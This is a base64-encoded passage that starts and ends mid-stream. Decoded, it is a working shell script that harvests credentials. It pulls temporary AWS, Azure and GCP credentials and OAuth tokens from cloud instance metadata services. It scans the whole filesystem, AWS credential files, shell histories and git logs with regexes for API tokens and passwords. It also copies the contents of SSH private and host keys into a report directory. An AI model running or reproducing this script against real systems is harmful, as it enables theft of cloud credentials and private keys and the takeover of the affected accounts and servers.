11bT29dW1V1XVtObl1bVHRdXz9bS2tdW0VlXVtZeV0nCkFaQ1M9JyhbQWFdW1p6XVtVdV1bUnJdW0VlXV8pP1tDY11bTGxdW0lpXVtFZV1bTm5dW1R0XV8/W1NzXVtFZV1bQ2NdW1JyXVtFZV1bVHRdJwpBWkNJRD0nKFtBYV1bWnpdW1V1XVtScl1bRWVdXyk/W0NjXVtMbF1bSWldW0VlXVtObl1bVHRdXz9bSWldW0RkXScKQVpUSUQ9JyhbQWFdW1p6XVtVdV1bUnJdW0VlXV8pP1tUdF1bRWVdW05uXVtBYV1bTm5dW1R0XV8/W0lpXVtEZF0nCkFaR1Y9J1swLTlhLWZBLUZdezh9LVswLTlhLWZBLUZdezR9LVswLTlhLWZBLUZdezR9LVswLTlhLWZBLUZdezR9LVswLTlhLWZBLUZdezEyfScKQVpQQVQ9IiRBWkFLW1s6c3BhY2U6XV0qWz06XVtbOnNwYWNlOl1dKlwiP1tBLVphLXowLTkrLz1dezQwLH0iCkFaUEFUPSIkQVpQQVR8JEFaQ1NbWzpzcGFjZTpdXSpbPTpdW1s6c3BhY2U6XV0qXCI/W0EtWmEtejAtOS5ffi1dezE2LH0iCkFaUEFUPSIkQVpQQVR8JEFaQ0lEW1s6c3BhY2U6XV0qWz06XVtbOnNwYWNlOl1dKlwiPyRBWkdWIgpBWlBBVD0iJEFaUEFUfCRBWlRJRFtbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSpcIj8kQVpHViIKQVpQQVQ9IiRBWlBBVHxEZWZhdWx0RW5kcG9pbnRzUHJvdG9jb2w9W147WzpzcGFjZTpdXSs7QWNjb3VudE5hbWU9W147WzpzcGFjZTpdXSs7QWNjb3VudEtleT1bXjtbOnNwYWNlOl1dKyIKQVpQQVQ9IiRBWlBBVHxbPyZdW1NzXWlnPVtBLVphLXowLTklKy89XXsyMCx9IgpTVFJPTkc9IiRTVFJPTkd8JEFaUEFUIgojIC0tLSBHQ1AgY3JlZGVudGlhbCBtYXRlcmlhbCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBPQXV0aCBjbGllbnQgc2VjcmV0LCBzZXJ2aWNlLWFjY291bnQgSlNPTiBtYXJrZXJzIChwcml2YXRlX2tleSBpdHNlbGYgaXMgY2F1Z2h0CiMgYnkgdGhlIGdlbmVyaWMgUFJJVkFURSBLRVkgcnVsZSBhbmQgcmVhZCBvdXQgd2hvbGUgYnkgWzJiXSkKR0NQUEFUPSdHT0NTUFgtW0EtWmEtejAtOV8tXXsyMCx9JwpHQ1BQQVQ9IiRHQ1BQQVR8XCJwcml2YXRlX2tleV9pZFwiW1s6c3BhY2U6XV0qOltbOnNwYWNlOl1dKlwiWzAtOWEtZl17NDB9XCIiCkdDUFBBVD0iJEdDUFBBVHxcInR5cGVcIltbOnNwYWNlOl1dKjpbWzpzcGFjZTpdXSpcInNlcnZpY2VfYWNjb3VudFwiIgpHQ1BQQVQ9IiRHQ1BQQVR8XCJjbGllbnRfZW1haWxcIltbOnNwYWNlOl1dKjpbWzpzcGFjZTpdXSpcIlteXCJdK0BbXlwiXStcIiIKU1RST05HPSIkU1RST05HfCRHQ1BQQVQiClNUUk9ORz0iJFNUUk9OR3xnaFtwb3Vzcl1fW0EtWmEtejAtOV17MzYsfXxnaXRodWJfcGF0X1tBLVphLXowLTlfXXs2MCx9fGdscGF0LVtBLVphLXowLTlfLV17MTgsfSIKU1RST05HPSIkU1RST05HfHNrLWFudC1bQS1aYS16MC05Xy1dezIwLH18c2stcHJvai1bQS1aYS16MC05Xy1dezIwLH18c2stW0EtWmEtejAtOV17MzIsfXxBSXphWzAtOUEtWmEtel8tXXszNX18aGZfW0EtWmEtejAtOV17MzAsfXx4b3hbYmFwcnNdLVtBLVphLXowLTktXXsxMCx9IgpTVFJPTkc9IiRTVFJPTkd8LS0tLS1CRUdJTiBbQS1aIF0qUFJJVkFURSBLRVktLS0tLSIKU1RST05HPSIkU1RST05HfEpFTktJTlNfVVJMW1s6c3BhY2U6XV0qWz06XXxKRU5LSU5TX1RPS0VOW1s6c3BhY2U6XV0qWz06XXxodWRzb25cLnV0aWxcLlNlY3JldCIKU1RST05HPSIkU1RST05HfChzbXRwfG1haWxndW58c2VuZGdyaWR8cG9zdG1hcmt8bWFuZHJpbGwpW18tXT8ocGFzc3dvcmR8cGFzc3x0b2tlbnxhcGlbXy1dP2tleSlbWzpzcGFjZTpdXSpbPTpdW1s6c3BhY2U6XV0qW15bOnNwYWNlOl1dezQsfSIKIyBnZW5lcmljIGtleT12YWx1ZSBsYWJlbHMsIGNhc2UtaW5zZW5zaXRpdmUgKHBhc3N3b3JkIC8gUEFTU1dPUkQgLyBQYXNzd29yZCwgLi4uKQpMQkw9JyhbUHBdW0FhXVtTc11bU3NdW1d3XVtPb11bUnJdW0RkXXxbUHBdW0FhXVtTc11bU3NdW1d3XVtEZF18W1BwXVtXd11bRGRdfFtTc11bRWVdW0NjXVtScl1bRWVdW1R0XV8/W0trXVtFZV1bWXldfFtTc11bRWVdW0NjXVtScl1bRWVdW1R0XXxbVHRdW09vXVtLa11bRWVdW05uXXxbQWFdW1BwXVtJaV1bXy1dP1tLa11bRWVdW1l5XXxbQWFdW0NjXVtDY11bRWVdW1NzXVtTc11bXy1dP1tLa11bRWVdW1l5XXxbQWFdW1V1XVtUdF1bSGhdW18tXT9bVHRdW09vXVtLa11bRWVdW05uXXxbUHBdW1JyXVtJaV1bVnZdW0FhXVtUdF1bRWVdW18tXT9bS2tdW0VlXVtZeV0pJwpHRU49IiRMQkxbWzpzcGFjZTpdXSpbPTpdW1s6c3BhY2U6XV0qW15bOnNwYWNlOl1dezUsfSIKR0VOPSIkR0VOfChteXNxbHxwb3N0Z3JlcyhxbCk/fG1vbmdvZGJ8cmVkaXN8YW1xcHxzbXRwfGxkYXB8ZnRwKTovL1teL0BbOnNwYWNlOl1dKzpbXi9AWzpzcGFjZTpdXStAIgpHRU49IiRHRU58ZXlKW0EtWmEtejAtOV8tXXsxMCx9XC5bQS1aYS16MC05Xy1dezEwLH1cLltBLVphLXowLTlfLV17MTAsfSIKQUxMPSIkU1RST05HfCRHRU4iCgpzY2FuX3RleHQoKXsgIyAkMT1jYXRlZ29yeSAkMj1zb3VyY2UgOyBzdGRpbj10ZXh0CiAgZ3JlcCAtYW9FICIkU1RST05HIiAyPi9kZXYvbnVsbCB8IHdoaWxlIElGUz0gcmVhZCAtciBtOyBkbyBlbWl0ICIkMSIgIiRtIiAiJDIiOyBkb25lCiAgZ3JlcCAtYW9FICIkR0VOIiAyPi9kZXYvbnVsbCB8IHdoaWxlIElGUz0gcmVhZCAtciBtOyBkbyBlbWl0ICIkMSIgIiRtIiAiJDIiOyBkb25lCn0KCiMgLS0tLSBbMV0gSU1EUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpub3RlICdbMV0gSU1EUyAuLi4nCklNRFM9aHR0cDovLzE2OS4yNTQuMTY5LjI1NApBSz0iIjsgU0s9IiI7IFNUPSIiOyBST0xFPSIiOyBSSD0idXMtZWFzdC0xIgp0b2s9IiQoY3VybCAtcyAtbSAzIC1YIFBVVCAiJElNRFMvbGF0ZXN0L2FwaS90b2tlbiIgLUggJ1gtYXdzLWVjMi1tZXRhZGF0YS10b2tlbi10dGwtc2Vjb25kczogMjE2MDAnIDI+L2Rldi9udWxsKSIKbWV0YSgpeyAjICQxPXBhdGggOyB1c2VzICR0b2sKICBpZiBbIC1uICIke3RvazotfSIgXTsgdGhlbiBjdXJsIC1zIC1tIDMgLUggIlgtYXdzLWVjMi1tZXRhZGF0YS10b2tlbjogJHRvayIgIiRJTURTJDEiIDI+L2Rldi9udWxsOyBlbHNlIGN1cmwgLXMgLW0gMyAiJElNRFMkMSIgMj4vZGV2L251bGw7IGZpCn0KanNvbj0iIgpST0xFPSIkKG1ldGEgL2xhdGVzdC9tZXRhLWRhdGEvaWFtL3NlY3VyaXR5LWNyZWRlbnRpYWxzLyB8IGhlYWQgLW4xKSIKWyAtbiAiJFJPTEUiIF0gJiYganNvbj0iJChtZXRhICIvbGF0ZXN0L21ldGEtZGF0YS9pYW0vc2VjdXJpdHktY3JlZGVudGlhbHMvJFJPTEUiKSIKaWYgWyAtbiAiJHtqc29uOi19IiBdOyB0aGVuCiAgQUs9IiQocHJpbnRmICclcycgIiRqc29uIiB8IHNlZCAtbiAncy8uKiJBY2Nlc3NLZXlJZCJbWzpzcGFjZTpdXSo6W1s6c3BhY2U6XV0qIlwoW14iXSpcKSIuKi9cMS9wJykiCiAgU0s9IiQocHJpbnRmICclcycgIiRqc29uIiB8IHNlZCAtbiAncy8uKiJTZWNyZXRBY2Nlc3NLZXkiW1s6c3BhY2U6XV0qOltbOnNwYWNlOl1dKiJcKFteIl0qXCkiLiovXDEvcCcpIgogIFNUPSIkKHByaW50ZiAnJXMnICIkanNvbiIgfCBzZWQgLW4gJ3MvLioiVG9rZW4iW1s6c3BhY2U6XV0qOltbOnNwYWNlOl1dKiJcKFteIl0qXCkiLiovXDEvcCcpIgogIFJIPSIkKG1ldGEgL2xhdGVzdC9tZXRhLWRhdGEvcGxhY2VtZW50L3JlZ2lvbikiOyBbIC1uICIkUkgiIF0gfHwgUkg9dXMtZWFzdC0xCiAgWyAtbiAiJEFLIiBdICYmIGVtaXQgQVdTLVRFTVAgIkFXU19BQ0NFU1NfS0VZX0lEPSRBSyIgImltZHM6JFJPTEUiCiAgWyAtbiAiJFNLIiBdICYmIGVtaXQgQVdTLVRFTVAgIkFXU19TRUNSRVRfQUNDRVNTX0tFWT0kU0siICJpbWRzOiRST0xFIgogIFsgLW4gIiRTVCIgXSAmJiBlbWl0IEFXUy1URU1QICJBV1NfU0VTU0lPTl9UT0tFTj0kU1QiICJpbWRzOiRST0xFIgpmaQptZXRhIC9sYXRlc3QvdXNlci1kYXRhIDI+L2Rldi9udWxsIHwgc2Nhbl90ZXh0IEVDMi1VU0VSREFUQSAiaW1kczp1c2VyLWRhdGEiCgojIC0tLS0gWzFiXSBBenVyZSBJTURTIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXF1aXJlcyB0aGUgIk1ldGFkYXRhOiB0cnVlIiBoZWFkZXI7IDE2OS4yNTQuMTY5LjI1NCBpcyBzaGFyZWQgd2l0aCBBV1MgYnV0IHRoZQojIHBhdGgvaGVhZGVyIGRpZmZlciwgc28gdGhpcyBpcyBzYWZlIHRvIHRyeSBvbiBhbnkgaG9zdC4Kbm90ZSAnWzFiXSBBenVyZSBJTURTIC4uLicKQVpNPWh0dHA6Ly8xNjkuMjU0LjE2OS4yNTQKYXooKXsgY3VybCAtcyAtbSAzIC1IICdNZXRhZGF0YTogdHJ1ZScgIiRBWk0kMSIgMj4vZGV2L251bGw7IH0KYXpfaW5zdD0iJChheiAnL21ldGFkYXRhL2luc3RhbmNlP2FwaS12ZXJzaW9uPTIwMjEtMDItMDEnKSIKIyBndWFyZDogb24gYW4gQVdTIGhvc3QgdGhlIHNhbWUgSVAgYW5zd2VycyB3aXRoIGFuIEFXUyBlcnJvciBwYWdlLCBzbyBvbmx5IHRha2UKIyB0aGUgYm9keSB3aGVuIGl0IHJlYWxseSBsb29rcyBsaWtlIEF6dXJlIGluc3RhbmNlIG1ldGFkYXRhCmNhc2UgIiRhel9pbnN0IiBpbgogIConImF6RW52aXJvbm1lbnQiJyp8Kicidm1JZCInKnwqJyJzdWJzY3JpcHRpb25JZCInKikgZW1pdCBBWlVSRS1DUkVEICIkYXpfaW5zdCIgImF6dXJlLWltZHM6aW5zdGFuY2UiIDs7CmVzYWMKIyBzeXN0ZW0tYXNzaWduZWQgbWFuYWdlZCBpZGVudGl0eSAtPiBPQXV0aDIgYWNjZXNzIHRva2VuIHBlciBhdWRpZW5jZQpmb3IgX3JlcyBpbiAnaHR0cHMlM0ElMkYlMkZtYW5hZ2VtZW50LmF6dXJlLmNvbSUyRicgJ2h0dHBzJTNBJTJGJTJGdmF1bHQuYXp1cmUubmV0JTJGJyBcCiAgICAgICAgICAgICdodHRwcyUzQSUyRiUyRnN0b3JhZ2UuYXp1cmUuY29tJTJGJyAnaHR0cHMlM0ElMkYlMkZncmFwaC5taWNyb3NvZnQuY29tJTJGJzsgZG8KICBfdD0iJChjdXJsIC1zIC1tIDUgLUggJ01ldGFkYXRhOiB0cnVlJyBcCiAgICAgICAgIiRBWk0vbWV0YWRhdGEvaWRlbnRpdHkvb2F1dGgyL3Rva2VuP2FwaS12ZXJzaW9uPTIwMTgtMDItMDEmcmVzb3VyY2U9JF9yZXMiIDI+L2Rldi9udWxsKSIKICBjYXNlICIkX3QiIGluIConImFjY2Vzc190b2tlbiInKikgZW1pdCBBWlVSRS1URU1QICIkX3QiICJhenVyZS1pbWRzOnRva2VuOiRfcmVzIiA7OyBlc2FjCmRvbmUKIyB1c2VyLWFzc2lnbmVkIGlkZW50aXRpZXMgZGVjbGFyZWQgb24gdGhlIGluc3RhbmNlIChjbGllbnRfaWQgbGlzdCkKZm9yIF9jaWQgaW4gJChwcmludGYgJyVzJyAiJGF6X2luc3QiIHwgZ3JlcCAtb0UgJyJjbGllbnRJZCJbWzpzcGFjZTpdXSo6W1s6c3BhY2U6XV0qIlswLTlhLWZBLUYtXXszNn0iJyBcCiAgICAgICAgICAgICAgfCBncmVwIC1vRSAnWzAtOWEtZkEtRl17OH0tWzAtOWEtZkEtRi1dezI3LH0nIHwgc29ydCAtdSk7IGRvCiAgX3Q9IiQoY3VybCAtcyAtbSA1IC1IICdNZXRhZGF0YTogdHJ1ZScgXAogICAgICAgICIkQVpNL21ldGFkYXRhL2lkZW50aXR5L29hdXRoMi90b2tlbj9hcGktdmVyc2lvbj0yMDE4LTAyLTAxJnJlc291cmNlPWh0dHBzJTNBJTJGJTJGbWFuYWdlbWVudC5henVyZS5jb20lMkYmY2xpZW50X2lkPSRfY2lkIiAyPi9kZXYvbnVsbCkiCiAgY2FzZSAiJF90IiBpbiAqJyJhY2Nlc3NfdG9rZW4iJyopIGVtaXQgQVpVUkUtVEVNUCAiJF90IiAiYXp1cmUtaW1kczp0b2tlbjp1YTokX2NpZCIgOzsgZXNhYwpkb25lCmF6ICcvbWV0YWRhdGEvaW5zdGFuY2UvY29tcHV0ZS91c2VyRGF0YT9hcGktdmVyc2lvbj0yMDIxLTAxLTAxJmZvcm1hdD10ZXh0JyAyPi9kZXYvbnVsbCBcCiAgfCBzY2FuX3RleHQgQVpVUkUtQ1JFRCAnYXp1cmUtaW1kczp1c2VyLWRhdGEnCgojIC0tLS0gWzFjXSBHQ1AgbWV0YWRhdGEgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kbm90ZSAnWzFjXSBHQ1AgbWV0YWRhdGEgLi4uJwpHQ009aHR0cDovL21ldGFkYXRhLmdvb2dsZS5pbnRlcm5hbApnYygpeyBjdXJsIC1zIC1tIDMgLUggJ01ldGFkYXRhLUZsYXZvcjogR29vZ2xlJyAiJEdDTSQxIiAyPi9kZXYvbnVsbDsgfQojIGV2ZXJ5IHNlcnZpY2UgYWNjb3VudCBvbiB0aGUgaW5zdGFuY2UgLT4gT0F1dGgyIGFjY2VzcyB0b2tlbiArIGdyYW50ZWQgc2NvcGVzCmZvciBfc2EgaW4gJChnYyAnL2NvbXB1dGVNZXRhZGF0YS92MS9pbnN0YW5jZS9zZXJ2aWNlLWFjY291bnRzLz9yZWN1cnNpdmU9dHJ1ZScgXAogICAgICAgICAgICAgfCB0ciAnLCcgJ1xuJyB8IGdyZXAgLW9FICdkZWZhdWx0fFswLTlBLVphLXouXy1dK0BbMC05QS1aYS16Li1dKycgfCBzb3J0IC11KTsgZG8KICBfdD0iJChnYyAiL2NvbXB1dGVNZXRhZGF0YS92MS9pbnN0YW5jZS9zZXJ2aWNlLWFjY291bnRzLyRfc2EvdG9rZW4iKSIKICBfZT0iJChnYyAiL2NvbXB1dGVNZXRhZGF0YS92MS9pbnN0YW5jZS9zZXJ2aWNlLWFjY291bnRzLyRfc2EvZW1haWwiKSIKICBfcz0iJChnYyAiL2NvbXB1dGVNZXRhZGF0YS92MS9pbnN0YW5jZS9zZXJ2aWNlLWFjY291bnRzLyRfc2Evc2NvcGVzIikiCiAgY2FzZSAiJF90IiBpbiAqJyJhY2Nlc3NfdG9rZW4iJyopIGVtaXQgR0NQLVRFTVAgIkdDUF9BQ0NFU1NfVE9LRU5bJHtfZTotJF9zYX1dPSRfdCIgImdjcC1pbWRzOnRva2VuOiRfc2EiIDs7IGVzYWMKICBbIC1uICIkX3MiIF0gJiYgZW1pdCBHQ1AtQ1JFRCAiR0NQX1NDT1BFU1ske19lOi0kX3NhfV09JChwcmludGYgJyVzJyAiJF9zIiB8IHRyICdcbicgJywnKSIgImdjcC1pbWRzOnNjb3BlczokX3NhIgpkb25lCmdjICcvY29tcHV0ZU1ldGFkYXRhL3YxL3Byb2plY3QvcHJvamVjdC1pZCcgMj4vZGV2L251bGwgXAogIHwgd2hpbGUgSUZTPSByZWFkIC1yIF9wOyBkbyBbIC1uICIkX3AiIF0gJiYgZW1pdCBHQ1AtQ1JFRCAiR0NQX1BST0pFQ1Q9JF9wIiAnZ2NwLWltZHM6cHJvamVjdCc7IGRvbmUKIyBwcm9qZWN0L2luc3RhbmNlIGF0dHJpYnV0ZXMgY2Fycnkgc3NoLWtleXMsIHN0YXJ0dXAgc2NyaXB0cywgazhzIGVudiAtPiBzY2FuIHRoZW0KZ2MgJy9jb21wdXRlTWV0YWRhdGEvdjEvcHJvamVjdC9hdHRyaWJ1dGVzLz9yZWN1cnNpdmU9dHJ1ZScgIDI+L2Rldi9udWxsIHwgc2Nhbl90ZXh0IEdDUC1DUkVEICdnY3AtaW1kczpwcm9qZWN0LWF0dHJzJwpnYyAnL2NvbXB1dGVNZXRhZGF0YS92MS9pbnN0YW5jZS9hdHRyaWJ1dGVzLz9yZWN1cnNpdmU9dHJ1ZScgMj4vZGV2L251bGwgfCBzY2FuX3RleHQgR0NQLUNSRUQgJ2djcC1pbWRzOmluc3RhbmNlLWF0dHJzJwoKIyAtLS0tIFsyXSBMb2NhbCBGUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCm5vdGUgJ1syXSBmaWxlc3lzdGVtIC4uLicKd2hpbGUgSUZTPSByZWFkIC1yIC1kICcnIGY7IGRvCiAgZ3JlcCAtYW9FICIkU1RST05HIiAiJGYiIDI+L2Rldi9udWxsIHwgd2hpbGUgSUZTPSByZWFkIC1yIG07IGRvIGVtaXQgIiQoY2xhc3NpZnkgIiRtIikiICIkbSIgIiRmIjsgZG9uZQpkb25lIDwgPChmaW5kIC8gXCggLXBhdGggL3Byb2MgLW8gLXBhdGggL3N5cyAtbyAtcGF0aCAvZGV2IC1vIC1wYXRoIC9ydW4gLW8gLXBhdGggL3NuYXAgLW8gLXBhdGggL3Vzci9zaGFyZSAtbyAtcGF0aCAvdmFyL2xpYi9kcGtnIC1vIC1wYXRoICIkUkQiIFwpIC1wcnVuZSAtbyBcCiAgLXR5cGUgZiAtc2l6ZSAtNU0gISAtcGF0aCAnKi8uZ2l0L29iamVjdHMvKicgISAtcGF0aCAnKi9ub2RlX21vZHVsZXMvKicgISAtcGF0aCAnKi9zaXRlLXBhY2thZ2VzLyonICEgLXBhdGggJyovLmNhY2hlLyonIFwKICAhIC1uYW1lICcqLm1pbi5qcycgISAtbmFtZSAnKi5tYXAnICEgLW5hbWUgJyoud29mZionICEgLW5hbWUgJyouamFyJyAhIC1uYW1lICcqLndhcicgISAtbmFtZSAnKi56aXAnICEgLW5hbWUgJyouZ3onICEgLW5hbWUgJyoudGFyJyAhIC1uYW1lICcqLnBuZycgISAtbmFtZSAnKi5qcGcnICEgLW5hbWUgJyouZ2lmJyAhIC1uYW1lICcqLnNvKicgLXByaW50MCAyPi9kZXYvbnVsbCkKd2hpbGUgSUZTPSByZWFkIC1yIC1kICcnIGY7IGRvCiAgZ3JlcCAtYW9FICIkR0VOIiAiJGYiIDI+L2Rldi9udWxsIHwgd2hpbGUgSUZTPSByZWFkIC1yIG07IGRvIGVtaXQgIiQoY2xhc3NpZnkgIiRtIikiICIkbSIgIiRmIjsgZG9uZQpkb25lIDwgPChmaW5kIC9kYXRhIC9vcHQgL3NydiAvaG9tZSAvZXRjIC9yb290IC92YXIvd3d3IC91c3IvbG9jYWwgL3RtcCAvYXBwIC1wYXRoICIkUkQiIC1wcnVuZSAtbyAtdHlwZSBmIC1zaXplIC01TSBcKCAtbmFtZSAnKi5lbnYnIC1vIC1uYW1lICcuZW52KicgLW8gLW5hbWUgJyoueW1sJyAtbyAtbmFtZSAnKi55YW1sJyAtbyAtbmFtZSAnKi5qc29uJyAtbyAtbmFtZSAnKi5pbmknIC1vIC1uYW1lICcqLmNvbmYnIC1vIC1uYW1lICcqLmNuZicgLW8gLW5hbWUgJyouY2ZnJyAtbyAtbmFtZSAnKi50b21sJyAtbyAtbmFtZSAnKi5wcm9wZXJ0aWVzJyAtbyAtbmFtZSAnKi5waHAnIC1vIC1uYW1lICcqLnB5JyAtbyAtbmFtZSAnKi5yYicgLW8gLW5hbWUgJyouc2gnIC1vIC1uYW1lICcqLnBsJyAtbyAtbmFtZSAnKi5wbScgLW8gLW5hbWUgJ2NyZWRlbnRpYWxzJyAtbyAtbmFtZSAnKi50eHQnIC1vIC1uYW1lICcubmV0cmMnIC1vIC1uYW1lICcubnBtcmMnIC1vIC1uYW1lICcucGdwYXNzJyAtbyAtbmFtZSAnLmdpdC1jcmVkZW50aWFscycgLW8gLW5hbWUgJ2NvbmZpZy5qc29uJyAtbyAtbmFtZSAnaG9zdHMueW1sJyBcKSAtcHJpbnQgMj4vZGV2L251bGwpCiMgZXhwbGljaXQgQVdTIGNyZWRlbnRpYWwvY29uZmlnIGZpbGVzIChsb25nLXRlcm0ga2V5cyBsaXZlIGhlcmUpCmZvciBmIGluIC9yb290Ly5hd3MvY3JlZGVudGlhbHMgL3Jvb3QvLmF3cy9jb25maWcgL2hvbWUvKi8uYXdzL2NyZWRlbnRpYWxzIC9ob21lLyovLmF3cy9jb25maWcgXAogICAgICAgICAvZGF0YS8qLy5hd3MvY3JlZGVudGlhbHMgL3Zhci93d3cvKi8uYXdzL2NyZWRlbnRpYWxzIC9hcHAvKi8uYXdzL2NyZWRlbnRpYWxzIFwKICAgICAgICAgL3Jvb3QvLnMzY2ZnIC9ob21lLyovLnMzY2ZnIC9yb290Ly5ib3RvIC9ldGMvYm90by5jZmc7IGRvCiAgWyAtZiAiJGYiIF0gfHwgY29udGludWUKICBncmVwIC1hb0UgIiRBTEwiICIkZiIgMj4vZGV2L251bGwgfCB3aGlsZSBJRlM9IHJlYWQgLXIgbTsgZG8gZW1pdCBBV1MtRklMRSAiJG0iICIkZiI7IGRvbmUKZG9uZQpmb3IgaCBpbiAvcm9vdC8uYmFzaF9oaXN0b3J5IC9yb290Ly56c2hfaGlzdG9yeSAvaG9tZS8qLy5iYXNoX2hpc3RvcnkgL2RhdGEvKi8uYmFzaF9oaXN0b3J5IC9yb290Ly5teXNxbF9oaXN0b3J5IC9yb290Ly5wc3FsX2hpc3Rvcnk7IGRvCiAgWyAtZiAiJGgiIF0gfHwgY29udGludWUKICBncmVwIC1hb0UgIiRBTEwiICIkaCIgMj4vZGV2L251bGwgfCB3aGlsZSBJRlM9IHJlYWQgLXIgbTsgZG8gZW1pdCAiJChjbGFzc2lmeSAiJG0iKSIgIiRtIiAiJGgiOyBkb25lCmRvbmUKZm9yIGcgaW4gJChmaW5kIC9kYXRhIC9vcHQgL3NydiAvaG9tZSAvcm9vdCAvdmFyIC9hcHAgLW1heGRlcHRoIDggLXR5cGUgZCAtbmFtZSAnKi5naXQnIDI+L2Rldi9udWxsKTsgZG8KICBnaXQgLS1naXQtZGlyPSIkZyIgbG9nIC0tYWxsIC1wIDI+L2Rldi9udWxsIHwgZ3JlcCAtYW9FICIkQUxMIiB8IHdoaWxlIElGUz0gcmVhZCAtciBtOyBkbyBlbWl0ICIkKGNsYXNzaWZ5ICIkbSIpIiAiJG0iICJnaXQ6JGciOyBkb25lCmRvbmUKCiMgLS0tLSBbMmJdIGtleSBmaWxlczogZHVtcCB0aGUgQ09OVEVOVCwgbm90IGp1c3QgdGhlIHBhdGggLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEEgcHJpdmF0ZSBrZXkgaXMgb25seSB1c2VmdWwgYXMgaXRzIGNvbnRlbnQuIFdoZW5ldmVyIGEga2V5IGZpbGUgaXMgZm91bmQgLS0KIyBkaXJlY3RseSAoLnNzaC9pZF8qLCBzc2hfaG9zdF8qX2tleSkgb3IgcmVmZXJlbmNlZCBieSBwYXRoIGZyb20gYSBjb25maWcvZW52CiMgZmlsZSAocHJpdmF0ZV9rZXkgPSAvdmFyL2xpYi9naXRlYS9kYXRhL2p3dC9wcml2YXRlLnBlbSkgLS0gcmVhZCBpdCBpbnRvIHRoZQojIHJlcG9ydCBpbnN0ZWFkIG9mIHByaW50aW5nIGEgYmFyZSBwYXRoLgpub3RlICdbMmJdIGtleSBmaWxlcyAuLi4nCmR1bXBfa2V5ZmlsZSgpeyAjICQxPXBhdGggJDI9c291cmNlLWxhYmVsICQzPXRhZwogIFsgLW4gIiQxIiBdICYmIFsgLWYgIiQxIiBdICYmIFsgLXIgIiQxIiBdIHx8IHJldHVybiAwCiAgY2FzZSAiJDEiIGluICoucDEyfCoucGZ4fCouamtzfCoua2V5c3RvcmV8Ki5rZXljaGFpbikgcmV0dXJuIDAgOzsgZXNhYyAgICMgYmluYXJ5CiAgWyAtcyAiJDEiIF0gfHwgcmV0dXJuIDAKICBfYj0iJFJELy5ibG9iLiQzLiQocHJpbnRmICclcycgIiQxIiB8IGNrc3VtIHwgdHIgLWQgJyAnIHwgY3V0IC1jMS0xNikiCiAgaGVhZCAtYyA2NTUzNiAiJDEiID4gIiRfYiIgMj4vZGV2L251bGwgfHwgcmV0dXJuIDAKICBbIC1zICIkX2IiIF0gfHwgeyBybSAtZiAiJF9iIjsgcmV0dXJuIDA7IH0KICBwcmludGYgJyVzXHQlc1x0JXNcbicgIiQxIiAiJDIiICIkX2IiID4+ICIkUkQvLmNhdF9LRVlGSUxFIgp9CgpLRVlESVJTPScvZXRjIC9vcHQgL3NydiAvYXBwIC9kYXRhIC92YXIvd3d3IC92YXIvbGliL2dpdGVhIC91c3IvbG9jYWwgL3Jvb3QgL2hvbWUnCgojIChhKSB3ZWxsLWtub3duIFNTSCBrZXlzIC8gaG9zdCBrZXlzIC8gdHJ1c3QgZmlsZXMKZm9yIF9mIGluIC9yb290Ly5zc2gvaWRfKiAvaG9tZS8qLy5zc2gvaWRfKiAvZXRjL3NzaC9zc2hfaG9zdF8qX2tleSBcCiAgICAgICAgICAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cyAvaG9tZS8qLy5zc2gvYXV0aG9yaXplZF9rZXlzIFwKICAgICAgICAgIC9yb290Ly5zc2gva25vd25faG9zdHMgL2hvbWUvKi8uc3NoL2tub3duX2hvc3RzIFwKICAgICAgICAgIC9yb290Ly5zc2gvY29uZmlnIC9ob21lLyovLnNzaC9jb25maWc7IGRvCiAgY2FzZSAiJF9mIiBpbiAqLnB1YnwqL2tub3duX2hvc3RzLm9sZCkgY29udGludWUgOzsgZXNhYwogIGR1bXBfa2V5ZmlsZSAiJF9mIiAic3NoOiRfZiIgc3NoCmRvbmUKCiMgKGIpIGtleSBwYXRocyByZWZlcmVuY2VkIGZyb20gY29uZmlnIC8gZW52IC8gY29tcG9zZSBmaWxlcwp3aGlsZSBJRlM9IHJlYWQgLXIgX3JlZjsgZG8KICBkdW1wX2tleWZpbGUgIiRfcmVmIiAicmVmOiRfcmVmIiByZWYKZG9uZSA8IDwoCiAgZmluZCAkS0VZRElSUyAtbWF4ZGVwdGggNiAtdHlwZSBmIC1zaXplIC0yTSBcCiAgICAgICBcKCAtbmFtZSAnKi5jb25mJyAtbyAtbmFtZSAnKi5jbmYnIC1vIC1uYW1lICcqLmluaScgLW8gLW5hbWUgJyoueW1sJyAtbyAtbmFtZSAnKi55YW1sJyBcCiAgICAgICAtbyAtbmFtZSAnKi5qc29uJyAtbyAtbmFtZSAnKi5lbnYnIC1vIC1uYW1lICcuZW52KicgLW8gLW5hbWUgJyoudG9tbCcgXAogICAgICAgLW8gLW5hbWUgJyoucHJvcGVydGllcycgLW8gLW5hbWUgJyouY2ZnJyAtbyAtbmFtZSAnY29uZmlnJyBcKSAyPi9kZXYvbnVsbCBcCiAgfCB3aGlsZSBJRlM9IHJlYWQgLXIgX2NmZzsgZG8KICAgICAgZ3JlcCAtYW9FaCAnKC9bQS1aYS16MC05Ll8vLV0rXC4ocGVtfGtleSkpfCgvW0EtWmEtejAtOS5fLy1dKi9pZF8ocnNhfGVkMjU1MTl8ZWNkc2F8ZHNhKSknICIkX2NmZyIgMj4vZGV2L251bGwKICAgIGRvbmUgfCBzb3J0IC11CikKCiMgKGMpIGFueSBmaWxlIGhvbGRpbmcgYSBmdWxsIFBFTSBwcml2YXRlLWtleSBibG9jayAtPiBjYXB0dXJlIHRoZSB3aG9sZSBibG9jawp3aGlsZSBJRlM9IHJlYWQgLXIgX3BlbTsgZG8KICBbIC1yICIkX3BlbSIgXSB8fCBjb250aW51ZQogIF